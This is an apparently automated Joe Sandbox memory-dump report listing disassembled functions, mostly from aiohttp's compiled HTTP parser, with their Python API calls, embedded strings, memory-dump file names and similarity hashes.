Function 00007FFBAA7FBC74 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFBAA7FBCA0
GetCurrentThreadId.KERNEL32 ref: 00007FFBAA7FBCAE
GetCurrentProcessId.KERNEL32 ref: 00007FFBAA7FBCBA
QueryPerformanceCounter.KERNEL32 ref: 00007FFBAA7FBCCA

Memory Dump Source

Source File: 00000003.00000002.1954698041.00007FFBAA271000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFBAA270000, based on PE: true

Associated: 00000003.00000002.1954643232.00007FFBAA270000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000003.00000002.1958097857.00007FFBAA817000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000003.00000002.1959589060.00007FFBAA99D000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000003.00000002.1959795648.00007FFBAA9AB000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000003.00000002.1959841639.00007FFBAA9AC000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000003.00000002.1959959397.00007FFBAA9B0000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaa270000_stub.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 94c9acafe10be122d2f397f1e5ea694c59c3688944f7c31b8d4002f49b5f86db
Instruction ID: d6cec44ded242f2a34f506dd9a16dedbb96992083dcb87dff546f4e4375316e7
Opcode Fuzzy Hash: 94c9acafe10be122d2f397f1e5ea694c59c3688944f7c31b8d4002f49b5f86db
Instruction Fuzzy Hash: 9D114C62B55B01CAEB018F70E8442A833A8F719758F040E76EE6E86BA4DF7CD1568390

Function 00007FFBAAF0BFE0 Relevance: 63.4, APIs: 27, Strings: 9, Instructions: 368
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_Py_Dealloc.PYTHON310 ref: 00007FFBAAF0C3C1
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF0C3D1
PyErr_Format.PYTHON310 ref: 00007FFBAAF0C417
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF0C443
PyByteArray_Resize.PYTHON310 ref: 00007FFBAAF0C45C
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF0C47F
PyByteArray_Resize.PYTHON310 ref: 00007FFBAAF0C491
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF0C4B4
PyErr_Format.PYTHON310 ref: 00007FFBAAF0C4E6
PyTuple_New.PYTHON310 ref: 00007FFBAAF0C507
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF0C56C
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF0C580
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF0C5BE
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF0C5DB
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF0C5F8
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF0C619

Strings

unicode, xrefs: 00007FFBAAF0C402
append, xrefs: 00007FFBAAF0C4D5
surrogateescape, xrefs: 00007FFBAAF0C180, 00007FFBAAF0C18F, 00007FFBAAF0C263, 00007FFBAAF0C272
aiohttp._http_parser.find_header, xrefs: 00007FFBAAF0C208
Expected %s, got %.200s, xrefs: 00007FFBAAF0C40D
decode, xrefs: 00007FFBAAF0C128
aiohttp._http_parser.HttpParser._process_header, xrefs: 00007FFBAAF0C3A2
'NoneType' object has no attribute '%.30s', xrefs: 00007FFBAAF0C12F, 00007FFBAAF0C4DC
'NoneType' object is not subscriptable, xrefs: 00007FFBAAF0C1CC

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: Dealloc$Array_ByteErr_FormatResize$Tuple_
String ID: 'NoneType' object has no attribute '%.30s'$'NoneType' object is not subscriptable$Expected %s, got %.200s$aiohttp._http_parser.HttpParser._process_header$aiohttp._http_parser.find_header$append$decode$surrogateescape$unicode
API String ID: 879993430-1055671119
Opcode ID: 39bea3a2f97f1619dd5661fbca9491245f5c4259de192382fe959cc27338d585
Instruction ID: 68158d5083486759826427e2a159243626355c34e0d04142d178336084a53be9
Opcode Fuzzy Hash: 39bea3a2f97f1619dd5661fbca9491245f5c4259de192382fe959cc27338d585
Instruction Fuzzy Hash: B00262B5A0AA42D1EB5BAB31E8401B963A8FB44B95F5440B1CD2D977A4DF3EE4478330

Function 00007FFBAAF0AFC0 Relevance: 58.2, APIs: 24, Strings: 9, Instructions: 406
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyErr_Format.PYTHON310 ref: 00007FFBAAF0B007
PyLong_FromLong.PYTHON310 ref: 00007FFBAAF0B084
PyTuple_New.PYTHON310 ref: 00007FFBAAF0B0AE
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF0B3DF
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF0B57A
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF0B58E
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF0B5C6
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF0B5F9

Strings

%.200s() takes %.8s %zd positional argument%.1s (%zd given), xrefs: 00007FFBAAF0AFF4
aiohttp._http_parser.RawResponseMessage.__reduce_cython__, xrefs: 00007FFBAAF0B597
exactly, xrefs: 00007FFBAAF0AFE1
]$, xrefs: 00007FFBAAF0B1E1
__reduce_cython__, xrefs: 00007FFBAAF0AFED, 00007FFBAAF0B024
$, xrefs: 00007FFBAAF0B4EA
B$, xrefs: 00007FFBAAF0B17C
name '%U' is not defined, xrefs: 00007FFBAAF0B2C9, 00007FFBAAF0B46A
X$, xrefs: 00007FFBAAF0B1B5

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: Dealloc$Err_FormatFromLongLong_Tuple_
String ID: %.200s() takes %.8s %zd positional argument%.1s (%zd given)$B$$X$$]$$__reduce_cython__$aiohttp._http_parser.RawResponseMessage.__reduce_cython__$exactly$name '%U' is not defined$$
API String ID: 1435629709-1486949237
Opcode ID: 4edf90ac2fea01e43d0f43e2bb7282b1db1302653dd413ddb69e056aa68ed795
Instruction ID: ebb7869c174ca8dea68117edf5f0aa087d61643a3a8f56d5aaabcb30ecbe06c9
Opcode Fuzzy Hash: 4edf90ac2fea01e43d0f43e2bb7282b1db1302653dd413ddb69e056aa68ed795
Instruction Fuzzy Hash: 8C0287A5A0AF46D1EB5A9F32E94027973A8FB44B81F0440B5CE5E97754EF3EE4528320

Function 00007FFBAAF12BA0 Relevance: 58.1, APIs: 31, Strings: 2, Instructions: 380
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_PyThreadState_UncheckedGet.PYTHON310 ref: 00007FFBAAF12BF9
PyErr_Occurred.PYTHON310 ref: 00007FFBAAF12CBA
PyErr_Format.PYTHON310 ref: 00007FFBAAF12CD9
PyLong_FromSize_t.PYTHON310 ref: 00007FFBAAF12D58
PyLong_FromSize_t.PYTHON310 ref: 00007FFBAAF12D80
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF12DCD
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF12E26
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF12E36
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF12E4B
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF12E6F
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF12E8E
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF12EED
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF12F06
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF12F27
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF12F3C
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF1300F
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF13024
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF13038
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF1304C
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF13060
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF13074
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF130B5
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF130CB
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF130DC
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF130ED
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF130FC
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF13112
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF13121
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF13189

Strings

aiohttp._http_parser.cb_on_status, xrefs: 00007FFBAAF12F88, 00007FFBAAF1307E
name '%U' is not defined, xrefs: 00007FFBAAF12CCC

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: Dealloc$Err_FromLong_Size_t$FormatOccurredState_ThreadUnchecked
String ID: aiohttp._http_parser.cb_on_status$name '%U' is not defined
API String ID: 3601060896-3180148171
Opcode ID: e1818073de6947f094a44adc823b095d215a923775498d5ac8ef0b49592a4119
Instruction ID: ed279ad5076f40e23e690e82f608e008c81ccb72772590e8d472f42b246afc99
Opcode Fuzzy Hash: e1818073de6947f094a44adc823b095d215a923775498d5ac8ef0b49592a4119
Instruction Fuzzy Hash: 880280B6A0AB42C1EA5A9F71E84427977A8FF84B94F0445B6CF5D87754CF3EE4068320

Function 00007FFBAAF074B0 Relevance: 56.4, APIs: 31, Strings: 1, Instructions: 448
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyList_New.PYTHON310 ref: 00007FFBAAF07B54
PyTuple_New.PYTHON310 ref: 00007FFBAAF07B7B
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF081E6
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF081FB
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF08229
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF08242
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF08270

Strings

aiohttp._http_parser.RawRequestMessage.__repr__, xrefs: 00007FFBAAF08204

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: Dealloc$List_Tuple_
String ID: aiohttp._http_parser.RawRequestMessage.__repr__
API String ID: 3363699560-1702197402
Opcode ID: d9ccd240431896c1797dc9621f621b226959769d8367d0c53bfe330686c413cc
Instruction ID: 050952e1520d4c2c3d63680d23b8627c0b32888d7b122db3668930d0fb3d1dae
Opcode Fuzzy Hash: d9ccd240431896c1797dc9621f621b226959769d8367d0c53bfe330686c413cc
Instruction Fuzzy Hash: 392270B6A0AF01C0EB1A9F35D8401B83368FB58BE9F1545B1DE1E97790DE3ED44283A0

Function 00007FFBAAF16FE0 Relevance: 42.2, APIs: 21, Strings: 3, Instructions: 249
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyLong_FromLong.PYTHON310(?,?,00000000,?,?,00007FFBAAF16FAE), ref: 00007FFBAAF1700B
PySequence_Contains.PYTHON310(?,?,00000000,?,?,00007FFBAAF16FAE), ref: 00007FFBAAF1703A
_Py_Dealloc.PYTHON310(?,?,00000000,?,?,00007FFBAAF16FAE), ref: 00007FFBAAF170E5
_Py_Dealloc.PYTHON310(?,?,00000000,?,?,00007FFBAAF16FAE), ref: 00007FFBAAF1737A
_Py_Dealloc.PYTHON310(?,?,00000000,?,?,00007FFBAAF16FAE), ref: 00007FFBAAF17390
_Py_Dealloc.PYTHON310(?,?,00000000,?,?,00007FFBAAF16FAE), ref: 00007FFBAAF173A5

Strings

tuple, xrefs: 00007FFBAAF17311
Expected %s, got %.200s, xrefs: 00007FFBAAF1731C
aiohttp._http_parser.__pyx_unpickle_RawResponseMessage, xrefs: 00007FFBAAF17359

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: Dealloc$ContainsFromLongLong_Sequence_
String ID: Expected %s, got %.200s$aiohttp._http_parser.__pyx_unpickle_RawResponseMessage$tuple
API String ID: 356818705-1703308469
Opcode ID: 5a7875f50d93554aef7a727bb4c4ee124748226878ca5dea524b4e3c5adc8d4c
Instruction ID: 1b5b68518507751f43486c399d0fe34ace07714c93ce064d856334e4f2aef41a
Opcode Fuzzy Hash: 5a7875f50d93554aef7a727bb4c4ee124748226878ca5dea524b4e3c5adc8d4c
Instruction Fuzzy Hash: 64B170A5A0AA46C1FB5E5F32E8142796798BF45F95F0480B2CE1E97750DF3EE4038B20

Function 00007FFBAAF157D7 Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 136
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyErr_Occurred.PYTHON310 ref: 00007FFBAAF15828
PyErr_Format.PYTHON310 ref: 00007FFBAAF15847
_PyDict_GetItem_KnownHash.PYTHON310 ref: 00007FFBAAF15860
PyDict_New.PYTHON310 ref: 00007FFBAAF158C5
PyDict_SetItem.PYTHON310 ref: 00007FFBAAF158EF
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF1593E
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF15952
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF15961
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF15975
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF159B9
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF15CE4

Strings

aiohttp._http_parser.parser_error_from_errno, xrefs: 00007FFBAAF15CF2
name '%U' is not defined, xrefs: 00007FFBAAF1583A

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: Dealloc$Dict_$Err_$FormatHashItemItem_KnownOccurred
String ID: aiohttp._http_parser.parser_error_from_errno$name '%U' is not defined
API String ID: 1780638902-2115262026
Opcode ID: e6c056b6ab8cdebde5a69bcf983fb647829455c43ee330c3c3eb23d1c8eebb02
Instruction ID: 609ad4bcb6dfeaac13ad6175691795e9b6da91fd47968cef7d467f5750dba24e
Opcode Fuzzy Hash: e6c056b6ab8cdebde5a69bcf983fb647829455c43ee330c3c3eb23d1c8eebb02
Instruction Fuzzy Hash: 50515FA5E0BA46C1FA5A9F32E8401B86798FF45F95F4840B6CE5D97350DE2EE4478330

Function 00007FFBAAF0B810 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 208
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyObject_Init.PYTHON310 ref: 00007FFBAAF0B8AC
PyObject_GC_Track.PYTHON310 ref: 00007FFBAAF0B8B5
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF0B9B2
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF0B9CD
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF0B9E5
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF0BA01
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF0BA55
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF0BA74
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF0BAC8
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF0BB1C
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF0BB59

Strings

aiohttp._http_parser._new_response_message, xrefs: 00007FFBAAF0BB3D

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: Dealloc$Object_$InitTrack
String ID: aiohttp._http_parser._new_response_message
API String ID: 3803614613-3861257606
Opcode ID: 49d4f52b81de02b1e498f8b259fceaa06bfdc536de3bf34ca3d3053dbc308f90
Instruction ID: 4a16b8676ac4b2915eb0e3b401e1e00a9cc94a673c96f1caedd8429a8ff36aa3
Opcode Fuzzy Hash: 49d4f52b81de02b1e498f8b259fceaa06bfdc536de3bf34ca3d3053dbc308f90
Instruction Fuzzy Hash: 52A10AB6A0AE16C1E71AAF36E8801787378FB54B96F144175CE5D93368DF3EE4528320

Function 00007FFBAAF113E3 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyDict_Size.PYTHON310 ref: 00007FFBAAF11453

Strings

aiohttp._http_parser.HttpResponseParser.__init__, xrefs: 00007FFBAAF11B88
__init__, xrefs: 00007FFBAAF116B5

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: Dict_Size
String ID: __init__$aiohttp._http_parser.HttpResponseParser.__init__
API String ID: 1288431816-2665069032
Opcode ID: 3de5ab0a6b543b37f0749c4b3a7f8ae53f4062ceb7ede6c9c00f8444f2cb14e4
Instruction ID: b55ad447f283da4884b19e6188494fbf5f4a9bd8368914c10d986abca20dbfb2
Opcode Fuzzy Hash: 3de5ab0a6b543b37f0749c4b3a7f8ae53f4062ceb7ede6c9c00f8444f2cb14e4
Instruction Fuzzy Hash: EA918FB5B0AB01C5FF5A9B71E4401A92BA8FB45BA4F14027ADE6D83BD4DF3DD0428724

Function 00007FFBAAF28820 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 135
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyMem_Malloc.PYTHON310 ref: 00007FFBAAF28872
PyErr_NoMemory.PYTHON310 ref: 00007FFBAAF28880
PyTuple_New.PYTHON310 ref: 00007FFBAAF288B4
PyMem_Free.PYTHON310 ref: 00007FFBAAF288C5

Strings

keywords must be strings, xrefs: 00007FFBAAF28992

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: Mem_$Err_FreeMallocMemoryTuple_
String ID: keywords must be strings
API String ID: 4138657551-2673384963
Opcode ID: 2ad6c86c8ab959b5e402209c1c492fe9cb2ae27a522832f2cbb9f0e704cb74a7
Instruction ID: 072c2abd7ddc9fac9044847b4b8aa43ebeae1fc10e9737146b6af63f09676f6f
Opcode Fuzzy Hash: 2ad6c86c8ab959b5e402209c1c492fe9cb2ae27a522832f2cbb9f0e704cb74a7
Instruction Fuzzy Hash: 7F518B7660AB85C1DA2A9F35E4542BAB3A8FB85FC5F444071CE9D87714DE3ED00AC360

Function 00007FFBAAF11C40 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_Py_Dealloc.PYTHON310 ref: 00007FFBAAF11D00
_Py_Dealloc.PYTHON310 ref: 00007FFBAAF11E75

Strings

aiohttp._http_parser.HttpResponseParser.__init__, xrefs: 00007FFBAAF11E55
name '%U' is not defined, xrefs: 00007FFBAAF11D69

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: Dealloc
String ID: aiohttp._http_parser.HttpResponseParser.__init__$name '%U' is not defined
API String ID: 3617616757-1353362044
Opcode ID: 210f50c79fc7f3b2777ac102fc579b19980f51764e2b74a3bb64277221ec94e0
Instruction ID: 79e3d4b2c3175cd9bcc2e55db2cf45fce1a8dcffcfb478e2edb20431962c914b
Opcode Fuzzy Hash: 210f50c79fc7f3b2777ac102fc579b19980f51764e2b74a3bb64277221ec94e0
Instruction Fuzzy Hash: 247151B5A0AB46C1EF5ADB35E8442B973A8FB94B80F14407ACE5D87750DF3EE4468320

Function 00007FFBAAF0DFF0 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 129
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyLong_FromLong.PYTHON310(?,?,?,?,?,?,?,?,?,?,?,00007FFBAAF0D4C9), ref: 00007FFBAAF0E075
PyLong_FromLong.PYTHON310(?,?,?,?,?,?,?,?,?,?,?,00007FFBAAF0D4C9), ref: 00007FFBAAF0E097
_Py_Dealloc.PYTHON310(?,?,?,?,?,?,?,?,?,?,?,00007FFBAAF0D4C9), ref: 00007FFBAAF0E183
_Py_Dealloc.PYTHON310(?,?,?,?,?,?,?,?,?,?,?,00007FFBAAF0D4C9), ref: 00007FFBAAF0E1AD

Strings

aiohttp._http_parser.HttpParser.http_version, xrefs: 00007FFBAAF0E18C

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: DeallocFromLongLong_
String ID: aiohttp._http_parser.HttpParser.http_version
API String ID: 395642662-1245594736
Opcode ID: 0676bbce45c6629fb22c9b04cfd82541de9437e0ee97f2613885e20116441b1c
Instruction ID: d7254a7a08fcf464861c44be5e903868ae2041ca4ebbf81eba39e36cfe0064ce
Opcode Fuzzy Hash: 0676bbce45c6629fb22c9b04cfd82541de9437e0ee97f2613885e20116441b1c
Instruction Fuzzy Hash: FF51A5B2E0AA52D1EB5A9F35F85017973A8EF94B81F0840B1CE5D97758EF2ED4438720

Function 00007FFBAAF0F410 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PyErr_Format.PYTHON310 ref: 00007FFBAAF0F536
PyObject_IsTrue.PYTHON310 ref: 00007FFBAAF0F592
PyErr_Occurred.PYTHON310 ref: 00007FFBAAF0F59F

Strings

%.200s() takes %.8s %zd positional argument%.1s (%zd given), xrefs: 00007FFBAAF0F523
exactly, xrefs: 00007FFBAAF0F510
aiohttp._http_parser.HttpParser.set_upgraded, xrefs: 00007FFBAAF0F548, 00007FFBAAF0F5B1
set_upgraded, xrefs: 00007FFBAAF0F4A5, 00007FFBAAF0F51C

Memory Dump Source

Source File: 00000003.00000002.1962008991.00007FFBAAF01000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FFBAAF00000, based on PE: true

Associated: 00000003.00000002.1961973099.00007FFBAAF00000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962060335.00007FFBAAF34000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962091897.00007FFBAAF3F000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 00000003.00000002.1962127369.00007FFBAAF44000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7ffbaaf00000_stub.jbxd

Similarity

API ID: Err_$FormatObject_OccurredTrue
String ID: %.200s() takes %.8s %zd positional argument%.1s (%zd given)$aiohttp._http_parser.HttpParser.set_upgraded$exactly$set_upgraded
API String ID: 1155888492-3043789788
Opcode ID: 5fa23940db4a5468b12f4a417c60fa5f7347dc21b4ff592f8d1a88be0150f99b
Instruction ID: af6f9c48f857a233048ffeaf0861227dfa404c94c09765010b633ca4481974da
Opcode Fuzzy Hash: 5fa23940db4a5468b12f4a417c60fa5f7347dc21b4ff592f8d1a88be0150f99b
